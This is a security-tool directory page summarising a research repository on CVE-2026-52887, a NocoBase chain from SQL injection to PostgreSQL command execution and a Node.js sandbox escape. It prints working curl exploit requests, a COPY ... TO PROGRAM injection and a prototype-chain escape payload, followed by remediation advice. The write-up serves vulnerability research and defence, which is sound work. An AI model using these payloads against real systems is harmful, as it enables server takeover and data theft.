Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
nocobase-cve-2026-52887 — NocoBase security research and exploitation notes for CVE-2026-52887, structured for documentation and reproduction scripts. | Kitploit
Tools/GitHubGitHub/pentrestion/nocobase-cve-2026-52887
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationWeb SecurityPapers & ResearchDatabase Security
Share
GitHub
pentrestion/nocobase-cve-2026-52887

nocobase-cve-2026-52887

NocoBase security research and exploitation notes for CVE-2026-52887, structured for documentation and reproduction scripts.

View Repository
128 days agoNot yet reviewed

nocobase-cve-2026-52887

NocoBase security research and exploitation notes for CVE-2026-52887, structured for documentation and reproduction scripts.

NocoBase CVE-2026-52887 Component Impact Research

Overview

This repository documents the technical analysis and reproduction flow for CVE-2026-52887 affecting NocoBase prior to version 2.0.61. The research focuses on the vulnerable component @nocobase/plugin-notification-in-app-message and the chained exploitation path from unauthenticated/low-privilege SQL injection to PostgreSQL command execution and, in some scenarios, Node.js sandbox escape.

Affected components

  • @nocobase/plugin-notification-in-app-message
  • latestMsgReceiveTimestamp filter handling in defineMyInAppChannels.ts
  • GET /api/myInAppChannels:list
  • PostgreSQL backend in default Docker-based NocoBase deployments
  • Optional JavaScript workflow execution paths using @nocobase/plugin-workflow-javascript

Search-friendly summary

  • NocoBase SQL injection
  • CVE-2026-52887 exploit
  • NocoBase PostgreSQL RCE
  • COPY ... TO PROGRAM command execution
  • @nocobase/plugin-notification-in-app-message vulnerability
  • NocoBase sandbox escape research
  • CVE-2026-34156 notes

🔬 Step-by-Step Technical Breakdown: CVE-2026-52887 (NocoBase SQLi to PostgreSQL RCE & Sandbox Escape)

CVE-2026-52887 describes a critical (CVSS 10.0) chain affecting NocoBase prior to version 2.0.61. It bridges an unauthenticated/low-privilege application layer flaw straight into database takeover and, under certain conditions, host compromise via a Node.js VM sandbox breakout.

Step 1: SQL Injection via In-App Message Filter (CVE-2026-52887)

  • Vulnerable Component: @nocobase/plugin-notification-in-app-message (defineMyInAppChannels.ts)
  • Mechanism: The GET /api/myInAppChannels:list endpoint accepts query filter parameters. Specifically, the $lt (less than) operator for the latestMsgReceiveTimestamp field is directly spliced into an SQL fragment without safe parameterization.
  • Pre-requisite: By default, NocoBase configurations permit anonymous sign-ups (allowSignUp: true) and expose this endpoint via ACL to any logged-in user (app.acl.allow('myInAppChannels', '*', ...)).

Exploit Request Pattern

An attacker registers an anonymous account, obtains a bearer token, and supplies a crafted injection payload through the query string:

# 1. Sign up and extract token
curl -X POST -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"Password123!","confirm_password":"Password123!"}' \
  http://target:13000/api/auth:signUp?authenticator=basic

TOKEN=$(curl -sX POST -H "Content-Type: application/json" \
  -d '{"account":"attacker","password":"Password123!"}' \
  http://target:13000/api/auth:signIn?authenticator=basic | jq -r .data.token)

# 2. Time-Based Injection Oracle Verification
curl -sG -H "Authorization: Bearer $TOKEN" \
  "http://target:13000/api/myInAppChannels:list" \
  --data-urlencode "filter[latestMsgReceiveTimestamp][\$lt]=0) AND 1882=(SELECT 1882 FROM PG_SLEEP(5))-- "

Step 2: PostgreSQL RCE via COPY ... TO PROGRAM

  • Underlying Behavior: The PostgreSQL driver communicates via the simple query protocol, which permits stacked SQL queries separated by semicolons (;).
  • Privilege Context: Default NocoBase deployment setups via Docker Compose assign database superuser privileges (rolsuper=true) to the primary database role.
  • Execution Vector: The attacker terminates the original query safely and appends a PostgreSQL COPY command to execute arbitrary operating system instructions via shell evaluation inside the database process.
curl -sG -H "Authorization: Bearer $TOKEN" \
  "http://target:13000/api/myInAppChannels:list" \
  --data-urlencode "filter[latestMsgReceiveTimestamp][\$lt]=0); COPY (SELECT 1) TO PROGRAM 'id > /tmp/pwn.txt'; --"

This yields remote code execution as the postgres user inside the database container context.

Step 3: Node.js VM Sandbox Escape & Root Escalation (CVE-2026-34156)

If the attacker pivots from application components or uses JavaScript workflow plugins executing user input (@nocobase/plugin-workflow-javascript), NocoBase previously encapsulated code execution inside a constrained V8 context that could be escaped through exposed host object references.

  • The Flaw: The console object passed directly into the isolated context exposes host-realm references (WritableWorkerStdio streams) through properties like console._stdout and console._stderr.
  • Prototype Chain Traversal: An attacker escapes the V8 VM sandbox context to inherit full application-hosting capabilities:
// Prototype chain traversal payload executed inside workflow script nodes
const Fn = console._stdout.constructor.constructor;
const proc = Fn('return process')();
const cp = proc.mainModule.require('child_process');

// Executes commands as root / application container user
return cp.execSync('id').toString().trim();

🛡️ Mitigation & Remediation Strategy

  • Patch NocoBase: Upgrade instances immediately to v2.0.61 or later, which properly parameterizes filter templates and closes the Sequelize raw injection vector.
  • Harden Database Permissions: Ensure the PostgreSQL database user runs with least privilege (revoking superuser status and disallowing COPY TO PROGRAM rights for application roles).
  • Disable Unrestricted Sign-ups: Set allowSignUp: false in production configuration files to prevent anonymous users from establishing authenticated sessions.
  • Isolate Sandbox Environments: Replace native Node.js vm instances with hardened alternatives such as isolated-vm to eliminate prototype-chain leakage paths via standard objects like console.

This repository documents a proof of concept and research notes for CVE-2026-52887. It is intended for defensive analysis, vulnerability awareness, and responsible disclosure guidance.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

No popularity data yet.

Explore all tools

Browse our collection of tools

View all tools →